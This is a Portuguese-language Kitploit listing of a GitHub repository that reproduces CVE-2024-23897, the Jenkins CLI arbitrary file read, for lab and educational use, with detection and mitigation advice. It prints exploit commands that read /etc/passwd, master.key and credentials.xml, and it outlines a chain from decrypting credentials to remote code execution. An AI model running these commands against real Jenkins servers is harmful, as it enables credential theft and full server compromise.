Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2024-23897-jenkins_lfi_reproduction — Reprodução de cve-2024-23897-jenkins_lfi_reproduction | Kitploit
Ferramentas/GitHubGitHub/razureink/cve-2024-23897-jenkins_lfi_reproduction
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubrazureink/cve-2024-23897-jenkins_lfi_reproduction

cve-2024-23897-jenkins_lfi_reproduction

Reprodução de cve-2024-23897-jenkins_lfi_reproduction

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 27 diasAinda não revisado

CVE-2024-23897 — Vulnerabilidade de Leitura Arbitrária de Arquivos na CLI do Jenkins

CVSS 9.8 (CRÍTICO) — Explorada ativamente na natureza


Visão Geral

CVE-2024-23897 é uma vulnerabilidade crítica de leitura arbitrária de arquivos na interface de linha de comando (CLI) do Jenkins. A CLI do Jenkins utiliza a biblioteca args4j para analisar argumentos de comando. Essa biblioteca expande o caractere @ seguido de um caminho de arquivo (@/caminho/para/arquivo) lendo o conteúdo desse arquivo e injetando-o como argumentos. Um atacante não autenticado pode explorar esse comportamento para ler arquivos arbitrários no sistema de arquivos do controlador Jenkins sem exigir qualquer autenticação.

Quando combinada com a extração de credentials.xml, segredos ou master.key, essa vulnerabilidade pode levar ao comprometimento total do servidor (RCE).


Detalhes Técnicos

A Expansão do Caractere @ no args4j

A biblioteca args4j (usada pelo analisador de comandos da CLI do Jenkins) implementa um recurso de conveniência: quando um argumento começa com @, ela trata o restante do argumento como um caminho de arquivo, lê o conteúdo do arquivo e o divide em vários argumentos. Isso foi projetado para permitir a passagem de grandes listas de argumentos por meio de arquivos.

Exemplo: java -jar jenkins-cli.jar who-am-i @/etc/passwd faria o args4j ler /etc/passwd e usar seu conteúdo como argumentos para o comando who-am-i.

Como certos comandos da CLI (como connect-node) ecoam ou incluem valores de argumento em mensagens de erro/respostas, um atacante pode observar o conteúdo do arquivo na resposta da CLI.

O Fluxo do Ataque

  1. O atacante se conecta à porta da CLI do Jenkins (padrão: 50000, ou o endpoint HTTP da CLI)
  2. O atacante envia um comando da CLI com um argumento como @/etc/passwd
  3. O analisador args4j do Jenkins lê o arquivo e o expande em argumentos
  4. O comando da CLI processa esses argumentos e o conteúdo do arquivo é vazado na resposta ou em mensagem de erro
  5. O atacante extrai arquivos sensíveis para escalar privilégios

Por Que Isso é Crítico

  • Nenhuma autenticação necessária — A porta da CLI é acessível sem quaisquer credenciais
  • Nenhum pré-requisito — Nenhuma permissão especial ou recurso do Jenkins precisa estar habilitado
  • Impacto abrangente — Dezenas de milhares de instâncias do Jenkins expostas
  • Escalonamento de privilégios — A leitura de segredos/master.key permite a descriptografia de credenciais e RCE

Versões Afetadas

ProdutoAfetadoCorrigido
Jenkins (semanal)≤ 2.4412.442
Jenkins LTS≤ 2.426.22.426.3
Jenkins LTS (anterior)≤ 2.414.22.414.3

Nota: Todas as versões do Jenkins anteriores às correções listadas acima estão vulneráveis. O recurso da CLI existe no Jenkins há muitos anos, portanto versões mais antigas também são afetadas, mesmo que não estejam listadas explicitamente.


Passos para Reprodução

Configuração do Ambiente

  1. Execute uma instância vulnerável do Jenkins com Docker:

    root@kitploit:~
    docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
    

    Anote a senha de administrador inicial nos logs do contêiner.

  2. Verifique se a porta da CLI está aberta:

    root@kitploit:~
    # Jenkins CLI port (TCP 50000) should be listening
    # Or you can use the HTTP CLI endpoint at /cli/
    
  3. Instale Python 3.8+ com as dependências necessárias:

    root@kitploit:~
    pip install requests
    

Reprodução via PoC em Python

root@kitploit:~
# Basic file read test — read /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd

# Read Jenkins secrets (escalation path)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

Etapas Manuais de Reprodução (com jenkins-cli.jar)

root@kitploit:~
# Download the Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar

# Read /etc/passwd via the CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1

# Read Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1

Saída Esperada

O conteúdo dos arquivos aparece na resposta da CLI ou na saída de erro. Por exemplo, a leitura de /etc/passwd retornaria as entradas do arquivo de senhas do sistema.


Prova de Conceito (PoC) — Cadeia de Exploração Completa

Etapa 1: Enumere o Ambiente Jenkins

root@kitploit:~
# Read config to understand the environment
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml

# Read users and permissions
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml

Etapa 2: Extraia Segredos para RCE

root@kitploit:~
# Extract master key (used to encrypt credentials)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key

# Extract the hudson.util.Secret key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret

# Extract credentials (encrypted)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

Etapa 3: Descriptografe Credenciais e Alcance RCE

Com master.key e hudson.util.Secret, você pode descriptografar credenciais do Jenkins usando ferramentas como jenkins_decrypt.py ou o script decrypt.py das referências do CVE-2024-23897. As credenciais descriptografadas (chaves SSH, tokens de API, chaves de provedores de nuvem) podem então ser usadas para alcançar execução remota de código em nós conectados e ambientes de nuvem.


Mitigação

Correção Imediata

Detecção

Pesquise nos logs de acesso ou nos logs de auditoria da CLI por argumentos contendo @ seguidos de caminhos de arquivo:

root@kitploit:~
# grep for suspicious CLI access
grep -r "@/" /var/log/jenkins/access.log

# Check for CLI connections from unexpected IPs
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"

Solução Alternativa (se não for possível aplicar o patch)

Se não for possível aplicar o patch imediatamente, desative a porta da CLI definindo a opção --webroot ou bloqueando a porta 50000. No entanto, observe que o endpoint HTTP da CLI (/cli/) na interface web ainda pode ser explorável, portanto, a aplicação do patch é fortemente recomendada.


Referências

  • Aviso de Segurança do Jenkins 2024-01-24
  • Entrada NVD — CVE-2024-23897
  • Entrada NVD — CVE-2024-23898 (DoS relacionado à CLI)
  • Documentação da expansão @file da biblioteca args4j
  • Catálogo de Vulnerabilidades Exploradas Conhecidas da CISA

Aviso Legal

Este repositório é destinado exclusivamente a testes de segurança autorizados e fins educacionais. A exploração não autorizada desta vulnerabilidade é ilegal. Os autores não são responsáveis por qualquer uso indevido destas informações. Teste apenas em sistemas que você possua ou para os quais tenha permissão explícita por escrito.

Baixar ferramenta
AçãoDetalhes
Atualize o JenkinsAtualize para Jenkins 2.442+ ou LTS 2.426.3+ / 2.414.3+
Desative a porta da CLIBloqueie a porta TCP 50000 no firewall se não for necessária
Restrinja o acesso à redeLimite o acesso à porta da CLI do Jenkins apenas a redes confiáveis
Ative a autenticaçãoGaranta que o Jenkins exija autenticação para todo acesso
Monitore os logsProcure por comandos da CLI com argumentos @ nos logs de acesso